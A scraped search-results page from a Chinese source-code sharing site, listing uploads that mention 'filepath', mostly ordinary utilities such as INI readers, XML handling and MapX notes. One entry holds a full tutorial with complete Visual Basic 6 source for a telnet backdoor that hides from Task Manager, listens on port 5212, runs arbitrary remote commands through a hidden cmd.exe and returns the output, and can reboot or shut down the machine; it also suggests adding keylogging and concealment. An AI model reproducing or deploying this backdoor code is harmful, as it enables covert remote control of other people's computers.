Welcome![Sign In][Sign Up]
Location:
Search - filepath

Search list

[File Operate20040913190255_vczx_clsrwini

Description: 读写ini的C++类 一、本类只有4个函数,分别为写数字,读数字,写文本,读文本。支持相对路径。可以用于有或无mfc支持的程序。visual c++6编译通过。 ini格式: [appname] keyname=s 二、代码:请下载压缩包。 三、如需要绝对路径删除CHAR FilePath[255] ---strcat(FilePath,fn)-literacy ini a category C, the only four categories of functions, namely digital writing, word reading, writing text, reading text. Support relative path. Can be used with or without mfc support procedures. Visual C + +6 compile. Ini format : [appname] keyname = s 2, code : Please download compressed. Three, if required absolute path to delete CHAR FilePath [255] --- Geodetic (FilePath, fn)
Platform: | Size: 1220 | Author: 王迎芳 | Hits:

[WinSock-NDISAVICQ_proj1537071312003

Description: AVICQ demo Please: 1: rename *.oc_ files to *.ocx before you start. 2: register the control by command line: regsvr32 \\filepath\\avphone3.ocx 3: open the project 4: press F5 to start video / audio ICQ now! 5: If there is a audio loop back noise please try to reduce the volume of your wave input device or speaker. -AVICQ demo : 1 : oc_ rename files to *. *. ocx before you start. 2 : register control by the command line : typing \\ filepath \\ avphone3.ocx 3 : open the project 4 : press F5 to start video / audio ICQ now! 5 : If there is a loop back audio noise please try to r educe the volume of your wave input device or spe Aaker.
Platform: | Size: 168273 | Author: aleagu | Hits:

[OS programvbmapx0023

Description: MapX应用讲义 一、加载地图数据 1、 TAB的数据分为两种数据:地图数据(Layers)、属性数据(Datasets)。关系:不可 分割的一个数据集的两部分. 2、 数据加载:GST文件由GeosetManager40.exe程序生成。在程序使用gsT文件:Map1.Ge oset=Filepath+FileName 3、 问题:GST文件加载后,只是默认将地图数据加载,属性数据另外需要使用单独的命令 进行加载,否则对属性数据的操作全部非法。加载:Map1.Datasets.ADD 属性数据集名称 4、 另一种加载方式:使用LayerInfo 对象,这种方式下加载地图数据源的地图集和属性 集均可直接使用。示例: -MapX an application overhead, a load map data, the data is divided into TAB two data : Map Data (Layers), the attribute data (Datasets). : Indivisible a data set of two parts. 2, data loading : GST documents generated by GeosetManager40.exe procedures. GsT procedures in the use of documents : Map1.Ge oset = Filepath'"> three problems : GST document is loaded, the default is to map data loading, Another attribute data need to use a separate order loading, or attribute data on the operation of all illegal. Loading : Map1.Datasets.ADD attribute names of four data sets, a loading : use LayerInfo targets, this way the load map data sources and the Atlas attribute set can be used directly. Example :
Platform: | Size: 56992 | Author: jqw | Hits:

[CSharpXML

Description: 用C#操作xml xmlFilePath = textBox2.Text FileStream fs = new FileStream(filePath ,FileMode.Open) BinaryReader binreader = new BinaryReader(fs ) //XmlTextReader xmlreader = new XmlTextReader() XmlTextWriter xmlreader = new XmlTextWriter(xmlFilePath+\"IMAGEENCODING.xml\" ,System .Text .Encoding .UTF8 )
Platform: | Size: 48641 | Author: li | Hits:

[Network DevelopVB Telnet编程指导思路

Description:

vB编程之TELNET
对于TELNET后门的编写我们可通过VC来编写,网上也有很多的关于用VC编写TELNET后门的源码。但是看X档案的一定不少是喜欢VB来编写程序的。纵然编写TELNET后门不是VB的长项,但这不并难实现。偶没见网上有用VB编写TELNET后门的文章,所以我就写下了此文,确切的说,
这不是个真正后门,只是一个后门的基本模型,甚至可以说毛坯。BUG的修改,不足的修补,功能的扩充还需读者动手来实现。
首先,我们在大脑里想象出一个后门运行的过程或者把其大概的流程画出来,然后就按这个过程逐步来实现。好了,
下面就开始我们的后门编写之路。首先就是当程序运行时防止再一个程序的运行,实现代码如下:
Private Sub Form_Load()
syspath = systempath()
'防止多个程序运行
If App.PrevInstance Then
End
End If
cmdno = True
'使程序不在任务管理器中显示
App.TaskVisible = False
'监听端口5212
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
其次,当telnet端请求连接时,服务端接受请求。(大家可以在此试着实现密码验证机制的实现,很简单,在此不再给出代码)
当TELNET连接时,触发ConnectionRequest事件,在这个事件中向控制端发送相应的成功连接和帮助信息。
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub
当我们连接上时,就需要对TELNET发来的命令进行一系列的处理和执行,以及执行相关的控制功能。
其中的问题是服务端接受来自TELNET客户端的连接和命令,由于TELNET传输命令时只能每间次传输一个字符的特殊性,
所以我们需要编写一个处理命令的过程,这个不难实现。还有就是对特殊字符的过滤和处理,如TELNET输入错误按DEL键,
按ENTER键来完成一条命令的输入。当TELNET连上服务端时,实现shell功能,以及shell功能和其它功能的分离。
对其中的问题有了大概的了解,那实现起来也就不难了。代码如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
'过滤del键盘,用来telnet命令输入错误处理.如果输入del键盘,则当前命令无效
If Asc(str1) = 8 Then
myname = "" '清空命令存储
Winsock1.SendData vbCrLf & "shell>"
End If
'检察当前一个命令的完整性和对命令输入错误的处理
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
Elseif Asc(str1) <> 8 Then
'测试时,查看接受的命令
Text1.Text = myname & vbcrlf
myname = "" '清空对当前命令的存储,用来接受下一条命令
'--------下面是对接受命令的处理
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
'------------------------------
'判断是不是在虚拟shell中,不是则执行如下命令,否则执行虚拟shell命令语句
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "cammond error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
'调用执行结果发送过程
Call tranrlt
Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True '重置虚拟shell标志
End If
End If
End If
End Sub
接下来要考滤的是,虚拟shell的实现,我用了一个简单的方法,就是把命令执行结果写入一个文本文档,然后读取其中的内
容并将结果发送给控制端。代码如下:
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
至此,后门的主要问题都解决了,也许有的读者可以看出,这个后门模型存在问题。的确,这个后门模型并不完整,
所谓学而三思,思而后行,剩下的问题读者可以试着去解决。在此我不在给出源码。提示一下:
(1)如果TELNET不正常退出,服务端还会继续保存当前的会话,重新连接后失败。还有就是如何可以允许多人同时连接功能。
(2)读者可以加上密码验证机制,在此基础上扩大它的控制功能,如键盘记录,文件上传等。
(3)一个成功的后门,必然有一个好的隐藏和自我保护机制,所以,大家需要努力发挥自己的聪明和才智了。
以上只是个人愚见,不难实现。其实程序编写只有深入其中,动手实践,才会发现各种问题,而正是在这发现问题,解决问题的过程中,
你会学到更多,成功后的满足也更多。当我们苦苦思索解决一个问题或实现一种新方法和功能时,那种豁然开朗,
成功的喜悦会让你体会编程的乐趣。希望大家看完本文和在动手来完善它的时候,能学到些知识和技巧,那本文的目的也就达到了。

_____________--源码
Public syspath As String
Public cmdno As Boolean
Private Declare Sub Sleep Lib "kernel32" (ByVal nsecond As Long)
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const EWX_REBOOT = 2
Const EWX_SHUTDOW = 1
Public myname As String
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
Function systempath() As String
Dim filepath As String
Dim nSize As Long
filepath = String(255, 0)
nSize = GetSystemDirectory(filepath, 256)
filepath = Left(filepath, nSize)
systempath = filepath
End Function
Private Sub Form_Load()
syspath = systempath()
If App.PrevInstance Then
End
End If
cmdno = True
App.TaskVisible = False
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
If Asc(str1) = 8 Then
myname = ""
Winsock1.SendData vbCrLf & "command error!" & vbCrLf & "shell>"
End If
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
ElseIf Asc(str1) <> 8 Then
Text1.Text = myname & vbCrLf
myname = ""
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "command error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
Call tranrlt

Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True
End If
End If
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub


Platform: | Size: 8205 | Author: onetwogoo | Hits:

[File Operate20040913190255_vczx_clsrwini

Description: 读写ini的C++类 一、本类只有4个函数,分别为写数字,读数字,写文本,读文本。支持相对路径。可以用于有或无mfc支持的程序。visual c++6编译通过。 ini格式: [appname] keyname=s 二、代码:请下载压缩包。 三、如需要绝对路径删除CHAR FilePath[255] ---strcat(FilePath,fn)-literacy ini a category C, the only four categories of functions, namely digital writing, word reading, writing text, reading text. Support relative path. Can be used with or without mfc support procedures. Visual C++6 compile. Ini format : [appname] keyname = s 2, code : Please download compressed. Three, if required absolute path to delete CHAR FilePath [255]--- Geodetic (FilePath, fn)
Platform: | Size: 1024 | Author: 王迎芳 | Hits:

[Internet-NetworkAVICQ_proj1537071312003

Description: AVICQ demo Please: 1: rename *.oc_ files to *.ocx before you start. 2: register the control by command line: regsvr32 \filepath\avphone3.ocx 3: open the project 4: press F5 to start video / audio ICQ now! 5: If there is a audio loop back noise please try to reduce the volume of your wave input device or speaker. -AVICQ demo : 1 : oc_ rename files to*.*. ocx before you start. 2 : register control by the command line : typing \ filepath \ avphone3.ocx 3 : open the project 4 : press F5 to start video/audio ICQ now! 5 : If there is a loop back audio noise please try to r educe the volume of your wave input device or spe Aaker.
Platform: | Size: 167936 | Author: aleagu | Hits:

[OS programvbmapx0023

Description: MapX应用讲义 一、加载地图数据 1、 TAB的数据分为两种数据:地图数据(Layers)、属性数据(Datasets)。关系:不可 分割的一个数据集的两部分. 2、 数据加载:GST文件由GeosetManager40.exe程序生成。在程序使用gsT文件:Map1.Ge oset=Filepath+FileName 3、 问题:GST文件加载后,只是默认将地图数据加载,属性数据另外需要使用单独的命令 进行加载,否则对属性数据的操作全部非法。加载:Map1.Datasets.ADD 属性数据集名称 4、 另一种加载方式:使用LayerInfo 对象,这种方式下加载地图数据源的地图集和属性 集均可直接使用。示例: -MapX an application overhead, a load map data, the data is divided into TAB two data : Map Data (Layers), the attribute data (Datasets). : Indivisible a data set of two parts. 2, data loading : GST documents generated by GeosetManager40.exe procedures. GsT procedures in the use of documents : Map1.Ge oset = Filepath'"> three problems : GST document is loaded, the default is to map data loading, Another attribute data need to use a separate order loading, or attribute data on the operation of all illegal. Loading : Map1.Datasets.ADD attribute names of four data sets, a loading : use LayerInfo targets, this way the load map data sources and the Atlas attribute set can be used directly. Example :
Platform: | Size: 56320 | Author: jqw | Hits:

[CSharpXML

Description: 用C#操作xml xmlFilePath = textBox2.Text FileStream fs = new FileStream(filePath ,FileMode.Open) BinaryReader binreader = new BinaryReader(fs ) //XmlTextReader xmlreader = new XmlTextReader() XmlTextWriter xmlreader = new XmlTextWriter(xmlFilePath+"IMAGEENCODING.xml" ,System .Text .Encoding .UTF8 ) -With C# Operation xmlxmlFilePath = textBox2.Text FileStream fs = new FileStream (filePath, FileMode.Open) BinaryReader binreader = new BinaryReader (fs)// XmlTextReader xmlreader = new XmlTextReader () XmlTextWriter xmlreader = new XmlTextWriter (xmlFilePath+
Platform: | Size: 68608 | Author: li | Hits:

[Compress-Decompress algrithmszziplib-0.13.49

Description: The ZZIPlib provides read access on ZIP-archives. The library uses only the patent-free compression-algorithms supported by Zlib. It provides functions that transparently access files being either real files or zipped files, both with the same filepath -The ZZIPlib provides read access on ZIP-archives. The library uses only the patent-free compression-algorithms supported by Zlib. It provides functions that transparently access files being either real files or zipped files, both with the same filepath
Platform: | Size: 2790400 | Author: 金哥 | Hits:

[JSP/JavastorageManger

Description: 物料管理 物料登记 批量登记:一次性导入多条物料 单条登记:只能录入一条物料信息 物料管理 更新: 删除: 查看: 物料导出 库管员可以将系统中登记的所有物料一次性导出来 MaterialImport Public MaterialImport( MateiralManager manager, String filePath ) Public void importMaterial() private StringBuffer readFile() private List<Material> parseFileToMaterial( String content ) -Registered bulk registration materials: a one-time import more than a single registration materials: a material can only be recorded materials management information update: Delete: View:库管material can export the system to register all the materials out of a one-time lead MaterialImport Public MaterialImport (MateiralManager manager , String filePath) Public void importMaterial () private StringBuffer readFile () private List <Material> parseFileToMaterial (String content)
Platform: | Size: 4613120 | Author: 小马 | Hits:

[Otherhttp

Description: 一个小的动态链接库,提供一个函数getHttpFile,用来下载网页,它只有两个参数 url和filepath,url用来指定网页路径,filepath用来指定下载的网页将保存到本地的位置-A small dynamic link library, providing a function getHttpFile, used to download web pages, it has only two parameters url and filepath, url path to the designated website, filepath to the designated web page download will be saved to a local location
Platform: | Size: 4096 | Author: 冮朋 | Hits:

[Windows DevelopMusicMedia

Description: 一个简单的mp3播放器,就是界面不怎么样,其他我觉得已经不错了.要建一个数据库(MediaList.mdb Number,FileName,FilePath),同且要放在与.class文件同一个目录.-A simple mp3 player, the interface is not up to much, the other I think has been pretty good. To build a database (MediaList.mdb Number, FileName, FilePath), and wants to put it with the same. Class files with a directory.
Platform: | Size: 19456 | Author: Jian | Hits:

[.net2006032806113327291

Description: 使用dxf2prn软件的步骤 1)单击工具栏的dxf按牛,选择一个dxf文件. 2)单击编辑菜单下的,按层进行转换. 3)在C:下会看到sample.prn. 说明,用autocad 2004 画好图,然后转成 dxf R12的格式. 说明 如果出现 导入dxf出现死机现象是由于dxf文件太大所致,最好不好超过5m. 具体的 转prn程序 在 Gemotry 的 dxf2prnbylayer(CFile *filepath) 函数和 其他图元的dxf2prnbylayer(CFile *filepath)的虚函数. 参数对话框构架完成,如果需要测试参数的问题可以增加上去(目前主要测试矢量图形上).-Use dxf2prn software Step 1) Click on the toolbar dxf by cattle, choose a dxf file. 2) Click the Edit menu, and according to the conversion layer. 3) In C: the next will see sample.prn. Note autocad 2004 drawing with a good map, and then convert dxf R12 format. stating that if there appears to import dxf crash phenomenon is caused due to dxf file is too large, preferably well over 5m. the specific transfer prn program Gemotry the dxf2prnbylayer (CFile* filepath) function, and other pixel dxf2prnbylayer (CFile* filepath) virtual function. Parameters dialog box to complete the framework, if the need to test parameters of the problem can be increased up (currently the main test vector graphics above).
Platform: | Size: 808960 | Author: lqf | Hits:

[Windows DevelopFilePath

Description: 选择文件的路径,一般保存文件或新建文件时需要本功能。-Select the file path, usually to save a file or a new file needs this feature.
Platform: | Size: 3229696 | Author: 黄斌 | Hits:

[Disk ToolsfilePath

Description: 程序可自动获取磁盘的所有目录及文件,文件的大小,类型等信息。和windows资源管理器样样好用 可复制,创建,张贴,删除等-Program can automatically access the disk all the directories and files, file size, type and other information. And everything nice windows Explorer to copy, create, display, delete, etc.
Platform: | Size: 242688 | Author: liudonghuei | Hits:

[Web ServerYHttpUpLoad

Description: 经过大量实战使用的 http 文件上床类,亲情放出,你们到处都找不到地. 使用简单: YHttpUpLoad upfile upfile.Upload(filepath,"http://url",data,backText)-After a lot of real use to go to bed http file type, family release, you can not find a way around. Simple: YHttpUpLoad upfile upfile.Upload (filepath, " http://url" , data, backText)
Platform: | Size: 6144 | Author: 叶振华 | Hits:

[Windows DevelopNDVI_

Description: 该程序实现基于野外测站数据计算NDVI值 要使用该程序,需在E盘根目录下新建NDVI文件夹,然后再NDVI文件夹内新建filepath文件夹 接收在filepath文件夹内新建file.txt文本文件 使用规则,将数据全部拷贝进NDVI文件夹,然后再file.txt文本内输入待计算的文件名,文件名之间以空格隔开 1.txt 2.txt 3.txt 处理文本数据,计算NDVI值,文本格式应该为(下面是前三行的样例) asd 650 3 770 5-The program-based field station data to calculate the NDVI values ​ ​ using the program, to be under the root directory of E NDVI new folder, and then NDVI folder folder to receive the new filepath filepath folder in the new text file file.txt Use rules to copy all the data into the NDVI folder, then enter the text to be calculated file.txt file names, file names separated by spaces 1.txt 2.txt 3.txt processing text data to calculate the NDVI value, the text format should be (the first three lines below the sample) asd 650 3 770 5
Platform: | Size: 22528 | Author: lee | Hits:

[e-languagecreate-filepath

Description: 创建任意目录、创建任意目录create any filepath-Create any directory
Platform: | Size: 1024 | Author: jing7654 | Hits:

[Linux-Unixgtest-filepath

Description: FilePath - a class for file and directory pathname manipulation which handles platform-specific conventions (like the pathname separator).
Platform: | Size: 3072 | Author: xaibikie | Hits:
« 12 »

CodeBus www.codebus.net